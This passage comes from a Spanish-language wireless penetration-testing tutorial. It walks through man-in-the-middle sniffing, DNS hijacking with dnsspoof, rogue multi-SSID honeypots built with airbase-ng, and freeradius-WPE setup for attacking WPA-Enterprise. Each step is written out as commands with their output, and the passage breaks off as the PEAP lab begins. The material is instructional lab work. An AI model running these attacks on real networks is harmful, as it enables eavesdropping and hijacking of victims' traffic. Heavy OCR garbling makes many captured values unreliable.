> Transmission Control Protocol, Src Porti 4968 {4960), Ost Port: http (80), Sea: 415, Ack: 8439, Lan: 453

: Fvil.9.2.15) Gacko/30110303 Pirefox/3.6.15 (.MIT GLR 3.5.30729)\r\n

Accont-Chareets 190-B050-1,utl-874+0.7, %14 0.7\ \n
Kesp-Alive: 115Ar\n
Connection: keen-alive E |

ook

7. Se puede localizar facilmente HTTP POST Request, que se utiliza para enviar la contraseiia al punto
de acceso inaldmbrico:

ulgde  view ture  Analyze Tolophony Jools Help

ﬂi&ﬂdéuxw=&uo§UU@D€*kEi®3xv

Filter: | http. | = | Expression... Clear Apply
No, Time Source. Oestnation | Protoco I'\lv “
64 46.126455  192.168.0.197 192.160.0.1 kTVP GET /ndS. ’(ﬂ‘PIl 1
46.147950  192.160.0.1 192.168.0.197 HITP  Continuation or non-WTTP traffic
€0 46.145009  192.166.0.1 192.160.0,197 WITP  Continuation or man-WTTP traffic
107 46.476817  192.168.0.1 192.168.0.197 HITR  WITR/1.1 200 6K (application/x-javascript)
130 46.65743)  162.168.0.) 192.168.0.197 HITP  WTTB/1.1 200 0K (text/css)
132 46.657960  192.168.0.1 192.168.0.197 HITR  WITR/1.1 200 0K (application/x-javascript)
148 47276378 162.168.0.1 192.166.0.197 WITP  WITR/1.1 200 0K (application/x-javascript)
145 47.336726  162.168.0.197 162.168.0.1 HITP  GET /Images/img_wireloss_bottom.gif HITP/1.)
150 47.337865  192.168.0,197 192.168.0.1 HITP  GET /Inages/img_bg_masthead_red.gif HITP/1.1
152 47338153 192.168.0.1 192.168.0.197 HITP  HITP/1.1 200 0K (GIF8%9a)
153 47338770 192.168.0,197 192.168.0.1 HITP  GET /Images/img_sasthead_red.gif HITP/1.1
155 47339313 192.168.0.1 192.168.0.197 HITP HTTP/1.1 200 OK  (GIFE%a)
198 47.760728  192.168.0, 192,108.0.197 HITP  MITP/1,1 200 K (GlFe%e)
208 53, 147888 102.168.0,197 102,168.0,1 MITP. GET. /post_Login, uml Thayh=0se7e8] Sca74:60258308d5c 0 78ceb 2634041705 HITP/L. )
211 93149621 192.168.0.1 192.168.0.197 HITR/XAHTTP/1, 1 200 OK A
214 53,22248)  192,168.0,197 192,168.0.1 HITP  GET /Basic/Internet.shtml MITR/1,1

b Frame 208: 502 bytes on wire (4016 bits), S02 bytes captured (4016 bits) C
» Ethornet II, Src: IntelCor_35:fc:4d (00:22:fb:35:f¢:4d), Dst: D-Link_d2:86:25 (00:21:91:d2:8:25)
b Internet Protocol, Srci 192,168,0,197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)
» Transaiasion Control Protocol, Sre Port: 49472 (a9472), Dst Port: http (80), Seq: 396, Ack: 18504, Len: 448
= Hypertext Transfer Protocol
= 'GET /post_Login. xml thash=ose7e 4 4y PN
b [Expert Info (chat/Sequence): GET /post_login. xmlvh.nh-‘mreulxn«wa!rmdocumebzsmurb HITP/1, nr\n}
Request Mothod: GET
Roquest URI: /post_login, xnlthush=gde e8 Sca74ceu288300d0c 0 0ceb263abaL 7dS.
Raquest Version: HTTR/1.1
Most: 192.188.0.1\r\n
User-Agent: Morilla/5.0 (Windows; U; Windows NT 6.0; en-US;
Accept: text/htnl,application/xhtalexnl,applicaticn/xal;q=0.9,
Accept-Language: en-us, en;q=0.5\r\n
Accapt-Encoding: gzip,deflate\ri\n
Accept-Charsat: 150-8850-1,utf-9;020.7,%;9=0.7\r\n
Keep-Aliva: 115\r\n
Connaction: keep-alive\r\n e
\rin E

2 a4 3b e9 do 00 00 47 45 x e

.5.2.15) Gecko/20110003 Firefox/3.6.15 (.NET CLR 3.5.30729)\r\n
+:q=0.8\r\n

Profile: Default
I

8. El siguiente es un vistazo aumentado del paquete anterior:



Frame 208: SO2 bytes on wire (4016 bits), SO2 bytes captured (4016 bits)
Ethernet II, Src: IntelCor_3S:fc:44 (00:22:fb:35:fc:44), Dst: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
Internet Protocol, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)
Transmission Control Protocol, Src Port: 49472 (49472), Dst Port: http (80), Seq: 396, Ack: 18904, Len: 448
< Hypertext Transfer Protocol

= GET /post_login.xml?hash fSca: 08d9ce76ceb2634ba17dS HTTR/1.1\r\n

b [Expert Info (Chat/Sequence): GET /post_login.xml?hash=94e7e8fS5c474c69258308d9ce76ceb2634ba17dS HTTP/1.1\r\n]
Request Method: GET

Request Version: HTTP/1.1
Host: 192.168.0.1\r\n
User-Agent: Mozilla/S.0 (windows; U; Windows NT 6.0; en-US; rv:l
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/

v v ww

2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR I
=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n

Accept-Enceding: gzip,deflate\r\n

Accept-Charset: I1S0-8859-1,utf-8;q=0.7,%;q=0.7\r\n
Keep-Alive: 11S\r\n

Connection: keep-alive\r\n

\rin

9. La ampliacién de la cabecera HTTP, nos permite ver que en realidad la contrasefia en texto plano
que entrd no fue enviado como es, pero en cambio, un hash ha sido enviado. Si nos fijamos en el
paquete n 2 64 en la captura de pantalla anterior, vemos que se hizo una solicitud para /md5.js, que
nos hace sospechar que se trata de un hash md5 de la contrasefia. Es interesante sefialar aqui que
esta técnica puede ser propensa a un ataque de repeticidn, si no se utiliza cifrado sobre una base para
la sesién en la creacién del hash.

Dejamos como ejercicio para el usuario conocer los detalles, ya que no es parte de la seguridad
inalambrica y por lo tanto mas alla del alcance de este libro.

< Hypertext Transfer Protocol
v GET /post_login.xml?hash=04e7e8f5c474c6092568308d9ce76ceb2634b417d5 HTTR/1. 1\r\n
b [Expert Info (Chat/Sequence): GET /post_legin.xml?hash=04e7e8f5c474c69258308d9¢e76ceb2634b417d5 HTTP/1. 1\rn]
Request Method: GET
Request URI: /post_login.xml?hash=04e7e8f5c474c69258308dSce76ceb2634b417dS

Request Version: HTTR/L.1

10. Esto demuestra lo facil que es vigilar y espiar el trafico enviado por el cliente durante un Man-In-
the-middle.

La configuracién MITM que hemos creado es ahora lo que nos permite escuchar el trafico inalambrico de la
victima sin que la victima lo sepa. Esto es posible porque en un MITM todo el tréfico se transmite a través de la
maquina atacante. Asi, todo el trafico sin cifrar de la victima esta disponible para la escucha del atacante.

Inténtalo - Biisyuedas en Gooyle

En el mundo de hoy, a todos nosotros nos gusta guardar lo que buscamos en Google de forma privada. El tréfico
de busquedas en Google es por desgracia sobre texto HTTP y sencillo de forma predeterminada. ¢ Puedes
conseguir un filtro de Wireshark que muestre en Wireshark todas las busquedas hechas en Google por la victima?

Secuestro de sesion sobre redes inalambricas

Uno de los otros ataques interesantes que podemos construir sobre MITM es el secuestro de sesion de
aplicacion. Durante un ataque MITM, los paquetes de la victima son enviados al atacante. Ahora es
responsabilidad del atacante transmitir esto a su destino legitimo y reenviar las respuestas de la victima. Una
cosa interesante a destacar es que, durante este proceso el atacante puede modificar los datos en los paquetes



(si no estén cifrados y protegidos de manipulacidn). Esto significa que podria modificar, getionar e incluso
silenciosamente disminuir los paquetes.

En el siguiente ejemplo, vamos a ver DNS hijacking inaldmbrico a través de la configuraciéon de MITM. Luego,
utilizando secuestro DNS, vamos a secuestrar la sesion del navegador de Google.com.

Parte practica —Hijacking de sesion hajo wireless

1. Configuramos la prueba exactamente igual que en Man-in-the-middle. En la victima vamos a
arrancar el navegador y escribir "google.com". Vamos a usar Wireshark para controlar este trafico. Su
pantalla sera similar a lo siguiente:

Time Source Destination Protoco | Info
IntelCor 35:fc:44 Broadcast who has 192.168.0.17 Tell 182.168.0.197

2 0.000603 D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 1s at 00:21:91:d2:8e:25

3 0.005758 192.168.0.197 192.168.0.1 DNS Standard query A google.com

41.001276 192,168,0.197 192.168.0.1 DNS Standard query A google.com

S 2.000004 192.168.0.197 192.168.0.1 DNS Standard query A google.com

6 3.415114 D-Link_d2:8e:25 Broadcast ARP who has 192.168.0.1987 Tell 192.168.0.1
7 3.999838 192.168.0.197 192.168.0.1 DNS Standard query A google.com

8 7.999001 192.168.0.197 192.168.0.1 DNS Standard query A google.com

9 8.720771 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad

10 9.719183 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad

11 10.719577 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad

2. Aplicar un filtro DNS para Wireshark y como podemos ver, la victima esta haciendo solicitudes de
DNS en google.com

at0 - Wireshark

Edit View Go Capture Analyze Statistics Telephony Tools Help

Blaleagaeéa onxXxe = %00 %00

Filter: [dns Iz] Expression... Clear Apply
MNo. ‘T\me | Source | Destination | Protoco | Info
3 0.005758 192.168.0.197 192.168.0.1 DNS Standard query A google.com
4 1.001276 192.168.0.197 192.168.0.1 DNS Standard guery A google.com
5 2.000004 .0. .0.1 Standard query A
7 3.999838 .0. .168.0.1 Standard query & google.
192.168.0.1 Standard auerv A aooale.

' Frame 5: 70 bytes on wire (560 bits), 70 bytes captured (560 bits)
b Ethernet II, Src: IntelCor_35:fc:44 (00:22:fb:35:fc:44), Dst: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
b Internet Protocol, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)
P User Datagram Protocol, Src Port: 63500 (63500), Dst Port: domain (53)
¥ Domain Name System (query)
Transaction ID: Ox72a3
b Flags: 0x0100 (Standard guery)
Questions: 1
Answer RRs: O
Authority RRs: ©
additional RRs: O
¥ Querliles
< google.com: type A, class IN
Name: google.com
Type: A (Host address)
Class: IN (0x0001)

3. Con el fin de secuestrar la sesién del navegador necesitamos enviar falsas respuestas DNS que
resuelvan la direccion IP de “google.com” a la direccion IP 192.168.0.199 de la maquina del hacker, la
herramienta que utilizaremos para esto se llama Dnsspoof y su sintaxis es dnspoof —i mitm-bridge :



root@bt: ~ - Shell No. 2 - Konsole

pn Edit View Bookmarks Settings Help

:~# dnsspoof -i mitm-bridge
dnsspoof: listening on mitm-bridge [udp dst port 53 and not src 192.168.6.199]

4. Actualizar las ventanas del navegador y ahora, como podemos ver a través de Wireshark,
tan pronto como la victima hace una peticion DNS para cualquier host (incluyendo
google.com), las respuestas Dnsspoof son replicadas:

root@bt: ~ - Shell No. 2 - Konsole

on Edit View Bookmarks Settings Help

:~# dnsspoof -1 mitm-bridge
dnsspoof: listening on mitm-bridge [udp dst port 53 and not src 192.168.0.199]

192.168.0.197.52658 > 192.168.0.1.53: 47096+ A? google.com
L

Capturing from at0 - Wireshark

File Edit View Go Capture Analyze Statistics Telephony Tools Help
5 =t & — o

SEaela *cdxe=%062%00 ® = K B ¥ g
Filter: [dns [ = | Expression... clear Apply
Ne. | Time [ source | pestination | Pretoco [ info

5 7.502037 152.168.0.157 152.168.0.1 DNS Standard query A google.com

8 7.509354 192.168.0.1 192.168.0.197 DNS Standard query response A 192.168.0.199

15 9.074664 192.168.0.187 192.168.0.1 DNS Standard query A download.divx.com

16 9.075605 152.168.0.1 152.168.0.157 DNS Standard query response A 192.168.0.199

18 10.569675  192.168.0.197 192.168.0.1 DNS Standard query A www.stopbadware.org

19 10.569832 192.168.0.1 192.168.0.187 DNS Standard query response A 192.168.0.199
b Frame 8: 85 bytes on wire (688 bits), 86 bytes captured (688 bits)
b Ethernet II, Src: Alfa_3e:bd:S3 (00:cO:ca:3e:bd:93), Dst: IntelCor_35:fc:44 (08:22:fb:35:fc:44)
b Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.197 (192.168.0.197)
b User Datagram Protecol, Src Port: domain (53), Dst Port: 52664 (52664)

Domain Name System (response)
Request In: S
[Time: 0.007317000 seconds]
Transaction ID: OxdSld
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: ©
Additional RRs: @
b Queries
~ Answers
< google.com: type A, class IN, addr 192.168.0.199
Name: google.com
Type: A (Host address)
Class: IN (©x0001)
Time to live: 1 minute
Data length: 4

Addr: 192.168.0.199 (192.168.0.199)

-

5. En la maquina de la victima, se observa un error que dice "Conexidn rechazada". Esto se debe a que
hemos hecho que la direccién IP de google.com sea 192.168.0.199, que es la IP del equipo del hacker,
pero no hay un servicio de escucha en el puerto 80:

6. Corramos Apache en BackTrack con el siguiente comando apachet2ctl start:
root@bt: ~ - Shell No. 3 - Konsole

@

Session Edit View Bookmarks Seftings Help

:~# apache2ctl start

apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
4
4

=] |




7. Ahora, una vez que actualice el navegador de la victima, recimos It Works! como pagina por defecto
del servidor Apache

Mozilts Feefox e
Fée [dt Yiew Hatory Bookmers ook Help Bebated ks
B - C < o e 3 5
tpd/google.com/
It works!
o [ 530

8. Esta demostracion muestra como es posible interceptar los datos y enviar respuestas falsas para
robar las sesiones de la victima.

¢0ué ha pasado?

Hicimos un ataque de secuestro de la aplicacién mediante un MITM Wireless como base. Asi que ¢ que sucedio
detras de las escenas? La configuracién de MITM se asegurd de que fueramos capaces de ver todos los paquetes
enviados por la victima. Tan pronto como vio un paquete de peticion DNS proveniente de la victima, el programa
ejecuta Dnsspoof , en el portatil del atacante envia una respuesta DNS a la victima con la direccién IP de la
maquina del atacante como google.com. El ordenador portatil de la victima acepta esta respuesta y el
navegador envia una solicitud HTTP a la direccioén IP del atacante en el puerto 80.

En la primera parte del experimento, no hubo un proceso escuchando en el puerto 80 de la maquina del atacante
y por lo tanto Firefox respondié con un error. Luego, una vez que ha iniciado el servidor Apache en la maquina del
atacante en el puerto 80 (puerto por defecto), el navegador solicita recibir una respuesta de la maquina del
atacante con la pagina por defecto It Works!.

Este laboratorio nos muestra que una vez que tenemos el control total de las capas inferiores (nivel 2 en este
caso), es facil apropiarse de las aplicaciones que se ejecutan en las capas superiores, tales como clientes DNS y los
navegadores web.

Inténtalo - Desafio secuestro de aplicacion o hikacking

El siguiente paso en el secuestro de sesion inalambrica mediante un MITM seria la de modificar los datos
transmitidos por el cliente. Explora el software disponible en BackTrack llamado Ettercap. Esto le ayudard a crear
busquedas y reemplazos de filtros para el trafico de red.

En este reto, escribir un simple filtro que reemplazar todas las ocurrencias de "seguridad" a la "inseguridad" en el
trafico de la red .Intenta buscar en Google de forma "segura" y comprobar si los resultados se presentan de
manera "insegura" en su lugar.

Encontrar las configuraciones de seguridad en el cliente

En los capitulos anteriores, hemos visto cdmo crear honeypots de puntos de acceso abiertos, protegidas con WEP
y WPA, pero cuando estamos en “el campo” y vemos solicitudes de sonda por parte del cliente, écémo sabemos
que la red SSID investigada le pertenece?.

Aunque esto parece dificil al principio, la solucion a este problema es simple. Tenemos que crear puntos de
acceso publicando el mismo SSID pero diferentes configuraciones de seguridad simultdneamente. Cuando un
cliente busca en roaming en una red, se conectard automaticamente a uno de estos puntos de acceso basados en
la configuracién de red almacenada en él. Asi que ,iQue comience el juego!



1. Vamos a suponer que el cliente inaldmbrico tiene una red Wireless Lab configurada y que esta
activa enviando sondas de solicitud para esta red cuando no esta conectado a cualquier punto de
acceso. Con el fin de encontrar la configuracion de seguridad de esta red, necesitamos crear multiples
puntos de acceso. Para nuestra discusién vamos a suponer que el perfil del cliente es o bien una red
abierta o protegida por WEP,WPA-PSK o WPA2-PSK. Esto significaria que tendriamos que crear cuatro
puntos de acceso. Para hacer esto, primero se crean cuatro interfaces virtuales desde mon0 a mon3
usando el comando airmon-ng start wlan0 varias veces.

root@bt: — - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airmon-ng start wlano

Interface Chipset Driver
wlano RTL8187 rtl8187 - [phy2]

(monitor mode enabled on monl)
mon@ RTL8187 rtl8187 - [phy2]

:~# airmon-ng start wlane

Interface Chipset Driver
wlan@ RTL8187 rtl8187 - [phy2]
(monitor mode enabled on mon2)
mon@ RTL8187 rtl8187 - [phy2]
monl RTL8187 rtl8187 - [phy2]

:—# airmon-ng start wlan®

Interface Chipset Driver
wlan@ RTL8187 rtl8187 - [phy2]
(monitor mode enabled on mon3)
mon0 RTL8187 rtl8187 - [phy2]
monl RTL8187 rtl8187 - [phy2]
mon2 RTL8187 rtl8187 - [phy2]
=-#

2. Usted podria ver todas las interfaces de nueva creacion con el comando i fconfig -a

3. Ahora vamos a crear el AP Abierto en mon0:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -a AA:AA:AA:AA:AA:AA -c 3 mon@
01:56:20 Created tap interface ate
01:56:20 Trying to set MTU on ate to 1500
01:56:21 Access Point with BSSID AA:AA:AA:AA:AA:AA started.

4. Vamos a crear el punto de acceso protegido por WEP en mon1:
root@bt: ~ - Shell No. 3 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -¢ 3 -a BB:BB:BB:BB:BB:BB -W 1 monl
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:59:44 Created tap interface atl
01:59:44 Trying to set MTU on atl to 1500

ti set_mac failed: Cannot assign requested address
You most probably want to set the MAC of your TAP interface.
ifconfig <iface> hw ether BB:BB:BB:BB:BB:BB

01:59:45 Access Point with BSSID BB:BB:BB:BB:BB:BB started.




5. El punto de acceso WPA-PSK serd el mon2:

root@bt: ~ - Shell No. 4 - Konsole

[Menuby dit view Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab™ -c 3 -a CC:CC:CC:CC:CC:CC -W 1 -z 2 mon2
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:58:48 Created tap interface at2
01:58:48 Trying to set MTU on at2 to 1500
01:58:48 Trying to set MTU on mon2 to 1800
01:58:48 Access Point with BSSID CC:CC:CC:CC:CC:CC started.

6. WPA2-PSK AP estara en mon3:

root@bt: ~ - Shell No. 5 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 -a DD:DD:DD:DD:DD:DD -W 1 -Z 2 mon3
For information, no action required: Using gettimeofday() instead of /dev/rtc
02:00:31 Created tap interface at3
02:00:31 Trying to set MTU on at3 to 1500
02:00:31 Trying to set MTU on mon3 to 1800

ti set_mac failed: Cannot assign requested address
You most probably want to set the MAC of your TAP interface.
ifconfig <iface> hw ether DD:DD:DD:DD:DD:DD

02:00:32 Access Point with BSSID DD:DD:DD:DD:DD:DD started.

7. Se puede ejecutar airodump-ng en el mismo canal para asegurar que todos los cuatro puntos de
acceso estan en marcha, como se muestra:

root@bt: ~ - Shell No. 6 - Konsole

Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 8 s ][ 2011-06-28 02:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA 0 100 107 ] e 3 54 OPN Wireless Lab
€c:cc:ce:cc:cc:cc 0 100 107 [:] @ 3 54 WPA TKIP PSK Wireless Lab
DD:DD:DD:DD:DD:DD 0 100 107 [} @ 3 54 WPA2 TKIP PSK Wireless Lab
BB:BB:BB:BB:BB:BB 0 100 107 [} @ 3 54 WEP WEP Wireless Lab

8. Ahora vamos a cambiar a encendido la conexion Wi-Fi, en el cliente itinerante. Dependiendo de la
red Wireless Lab que habia conectado con anterioridad, se conectara con la configuracion de
seguridad. En mi caso, se conecta a la red WPA-PSK, como se muestra a continuacion.

root@bt: ~ - Shell No. 4 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 -a CC:CC:CC:CC:CC:CC -W 1 -z 2 mon2
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:58:48 Created tap interface at2
01:58:48 Trying to set MTU on at2 to 1560
01:58:48 Trying to set MTU on mon2 to 1800
01:58:48 Access Point with BSSID CC:CC:CC:CC:CC:CC started.

02:04:23 Client €8:BC:C8:EE:12:0B associated (WPAl;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPAL;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPAL;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPA1;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPAL;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPA1;TKIP) to ESSID: "Wireless Lab"




¢0ué ha pasado?

Hemos creado Honeypots multiples con el mismo SSID pero diferentes configuraciones de seguridad.
Dependiendo de la configuracion que cliente almacenan de la inaldmbrica Wireless Lab, se conecta a la
adecuada.

Esta técnica puede ser Util si usted esta haciendo una prueba de penetracién y no vas a saber que
configuraciones de seguridad tiene el cliente en su computadora portatil. Esto le permite encontrar la adecuada
mediante el establecimiento de un cebo para el cliente. Esta técnica también se llama WiFishing.

Crear diferentes configuraciones de seguridad en el cliente para el mismo SSID y comprobar si el conjunto de
Honeypots es capaz de detectarlas.

Es importante tener en cuenta que muchos clientes Wi-Fi pueden no activar la sonda para las redes que se
registran en su perfil. Puede que no sea posible detectar estas redes utilizando la técnica que hemos discutido
aqui.

1. En un ataque MITM,¢ que estd en el medio?
a. El punto de acceso
b. El atacante
c. Lavictima
d. Ninguna de las anteriores
2. Dnsspoof:
a. Simula peticiones DNS
b. Simula respuestas DNS
c. Se debe ejecutar en el servidor DNS
d. Necesita ejecutarse en el punto de acceso
3. Un ataque MITM inaldmbrico puede ser orquestado:
a. En todos los clientes inaldambricos al mismo tiempo
b. Sélo un canal a la vez

c. En cualquier SSID



d. Ambos (b) y (c)

4. La interfaz mds cercana a la victima en la configuraciéon de MITM es la siguiente:
a. At0

b. EthO

c. BrO

d. En0

En este capitulo, hemos aprendido cdmo llevar a cabo ataques avanzados mediante la tecnologia inaldmbrica
como base. Hemos creado una configuracién para un MITM sobre redes inaldmbricas y luego usarlas para

escuchar el tréfico de la victima. A continuacidn, utilizamos la misma configuracién para secuestrar la capa de
aplicacion de la victima (el trafico de Internet para ser especifico) con un ataque de envenenamiento de DNS.

En el siguiente capitulo, vamos a aprender cémo llevar a cabo una prueba de penetracion inaldambrica desde la
planificacion, el descubrimiento y el ataque en la etapa de presentacion de informes. También vamos a tocar en
las mejores practicas para asegurar las WLAN.
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"Cuanto mas grandes son, mas fuerte caen."
1
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\~-\ . WPA-Enterprise ha tenido siempre un aura de indestructible que lo rodea. La mayoria
> de los administradores de red piensan en ella como una panacea para todos sus
problemas de seguridad inaldmbrica. En este capitulo, vamos a ver que nada podia
estar mas lejos de la verdad.
_
=

Aqui vamos a aprender como atacar el WPA-Enterprise utilizando diferentes herramientas y tecnologias
disponibles en BackTrack.

Vamos a cubrir lo siguiente en el transcurso de este capitulo:
Consiguracion de freeradius-WPE

Atacar PEAP en clientes Windows

Atacar EAP-TTLS

Las mejores practicas de seguridad para empresas

Vamos a necesitar un servidor Radius para orquestar ataques WPA-Enterprise. El mas utilizado servidor de Radius

Open Source es FreeRADIUS. Sin embargo, su creacion es dificil y configurarlo para cada ataque puede ser
tedioso.

Joshua Wright, un investigador de seguridad bien conocido a creado un parche para Freeradius que hace que sea
mas facil de configurar y llevar a cabo los ataques. Este parche fue lanzado como el freeradius-WPE (Wireless

Pwnage Edition). La buena noticia es que viene pre-instalado con BackTrack y por lo tanto, no necesitamos hacer
ninguna instalacién.

Vamos ahora primero a configurar el servidor Radius en BackTrack.



Parte practica —Configuracion del AP con FreeRadius-WPE

Siga las instrucciones para comenzar:

1. Conecte uno de los puertos LAN del punto de acceso al puerto Ethernet de la maquina BackTrack en
funcionamiento. En nuestro caso, la interfaz es ethl. Levantar lainterfaz y obtener una direccion IP
por DHCP funcionando como se muestra en la siguiente pantalla:

root@bt:-# dhclient3 ethl

Internet Systems Consortium DHCP Client V3.1.3

Copyright 2004-2009 Internet Systems Consortium.

IALL rights reserved.

For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/ethl/08:00:27:¢6:33:f9

Sending on LPF/ethl/08:00:27:c6:33:f9

Sending on  Socket/fallback

DHCPDISCOVER on ethl to 255.255.255.255 port 67 interval 8

DHCPOFFER of 192.168.0.198 from 192.168.6.1

DHCPREQUEST of 192.168.0.198 on ethl to 255.255.255.255 port 67

DHCPACK of 192.168.0.198 from 192.168.0.1

bound to 192.168.0.198 -- renewal in 39823 seconds.

root@bt: —#

root@bt:-#

root@bt:—#

root@bt:-#

T T T oottt e R T e O,
en la seccién EAP (802.1x), entrar la direccion IP del servidor RADIUS como 192.168.0.198. Esta es la
misma direccion IP asignada a nuestra interfaz de cable en el paso 1. El secreto compartido del

servidor RADIUS se prueba como se muestra en la siguiente pantalla:

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three wireless
security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original wireless
encryption standard. WPA provides a higher level of security. WPA-Personal does not require an
authentication server. The WPA-Enterprise option requires an external RADIUS server.

Security Mode :

I —

Use WPA or WPA2 mode to achieve a balance of strong security and best compatibility. This mode
uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable. Also
the strongest cipher that the client supports will be used. For best security, use WPA2 Only mode.
This mode uses AES(CCMP) cipher and legacy stations are not allowed access with WPA security. For
maximum compatibility, use WPA Only. This mode uses TKIP cipher. Some gaming and legacy devices
work only in this mode.

WPA-Enterprise | ¢

To achieve better wireless performance use WPA2 Only security mode (or in other words AES cipher).

WPA Mode : Auto (WPA or WPA2) 2
Cipher Type : TKIP and AES ¢

Group Key Update Interval : 3600 (seconds)

EAP (802.1X)

When WPA enterprise is enabled, the router uses EAP (802.1x) to authenticate clients via
a remote RADIUS server.

A i i Til : 60 (minutes)
RADIUS server IP Address : |192.168.0.198 ]
RADIUS server Port: 1812
RADIUS server Shared Secret : «eee
MAC Address Authentication : (v
Advanced >>




3. Vamos a abrir una nueva terminal y vaya al directorio /usr/local/etc/raddb. Aqui es donde
estdn todos los archivos de configuracion de FreeRadius-WPE y son los siguientes

A clients.conf huntgroups proxy.conf sqlippool.conf
attrs dictionary ldap.attrmap radiusd.conf templates.conf
attrs.access_reject eap.conf m s users
attrs.accounting_response policy.conf
attrs.pre-proxy experimental.conf policy.txt
hints preproxy_users sql.conf
oH#

#
H#
#
H#

4.Abra eap.conf, usted encontrard que la default eap type estd establecida en PEAP.
Vamos a dejar esto como esta:

* root@bt: /usr/local/etc/raddb

cap ¢

default_eap_type = [TE3

timer_expire = 60

ignore_unknown_eap_types = no

cisco_accounting_username_bug = yes

md5 {

}

leap {

}

gte {
auth_type = PAP

}

tis {
private_key _password = whatever
private_key file = ${raddbdir}/certs/server.pem
certificate_file = ${raddbdir}/certs/server.pem
CA_file = ${raddbdir}/certs/ca.pem
dh_file = ${raddbdir}/certs/dh
random_file = ${raddbdir}/certs/random
fragment_size = 1024
include_length = yes

}

ttls {

}

peap {
default_eap_type = mschapv2
#copy_request_to_tunnel = no
#use_tunneled_reply = no
#proxy_tunneled_request_as_eap = yes

}

mschapv2 {

- VISUAL -- 2,26-40 Top

5. Abraclients.conf. Aquies donde se define la lista de clientes permitidos que pueden
conectarse a nuestro servidor RADIUS. A medida que vamos observando el secreto para los clientes en
los valores por defecto en el rango 192.168.0.0/16 para poner a prueba. Esto es exactamente
lo que se utilizdé en el paso 2.

I/etc/raddb

# client 192.168.3.4 {

% secret = testingl23
#

#

client 192.168.0.6/16 {
secret test
shortname testAP

}
client 172.16.0.0/12 {

secret = test
shortname = testAP
}
client 10.0.0.0/8 {
secret = test
shortname = testAP
}
#client 127.0.0.1 {
# secret = test
# shortname = testAP

#}




6. Ahora estamos listos para iniciar el servidor RADIUS con un radiusd -s -X:

~ £ * root@bt: /usr/local/etc/raddb

File Edit View Te

b# radiusd -s -XHi

7. Una vez que se ejecuta este, vera un montdn de mensajes de depuracidn en la pantalla, pero al final
el servidor se establecerd para escuchar las solicitudes. ilmpresionante! La configuracion ya estd lista
para comenzar las sesiones de laboratorio en este capitulo:

attr_filter attr_filter.accounting_response {
attrsfile '/usr/local/etc/raddb/attrs.accounting_response"
key = "%{User-Name}"

}

Module: Checking session {...} for more modules to load
Module: Checking post-proxy {...} for more modules to load
Module: Checking post-auth {...} for more modules to load
} # modules
I} # server
radiusd: #### Opening IP addresses and Ports ####
Listen {

type = "auth"
ipaddr = *
port =

@

13
Listen {

type = "acct"
ipaddr = *
port =

14
lListen {
type = "control"
listen {
socket = "/usr/local/var/run/radiusd/radiusd.sock"
}

Listening on authentication address * port 1812

Listening on accounting address * port 1813

Listening on command file /usr/local/var/run/radiusd/radiusd.sock
Listening on proxy address * port 1814

Ready to process requests.

T 71 root@bt: usr/local/etc)...

¢Qué ha pasado?

Hemos establecido con éxito freeradius-WPE. Vamos a utilizar esto en el resto de los experimentos que vamos a
hacer en este capitulo.

Freeradius-WPE tiene un montdn de opciones. Puede ser una buena idea para que se familiarice con ellas. Lo mas
importante es tomar tiempo para las diferentes salidas de los archivos de configuracién y la forma en que todos
trabajan juntos.

Atacar PEAP

Protocolo de autenticacion extensible protegido (PEAP) es la versién mds popular de la EAP en uso. Este es el
mecanismo EAP enviado de forma nativa con Windows.

PEAP tiene dos versiones:



1. PEAPVO con EAP-MSCHAPV2 (el mas popular, ya que tiene soporte nativo en Windows)

2. PEAPv1 con EAP-GTC

PEAP utiliza certificados del lado del servidor para la validacién del servidor Radius. Casi todos los
ataques contra PEAP aprovechan errores de configuracidn en la validacién de certificados

En el laboratorio, vamos a ver cémo romper PEAP, cuando la validacién de certificados se apaga en el cliente.

acking PEAF
Siga las instrucciones para comenzar:

1. Comprobamos el archivo eap . conf para asegurarnos de que PEAP esta habilitado:

attr_filter attr_filter.accounting_response {

attrsfile = "/usr/local/etc/raddb/attrs.accounting_response"
key = "%{User-Name}"
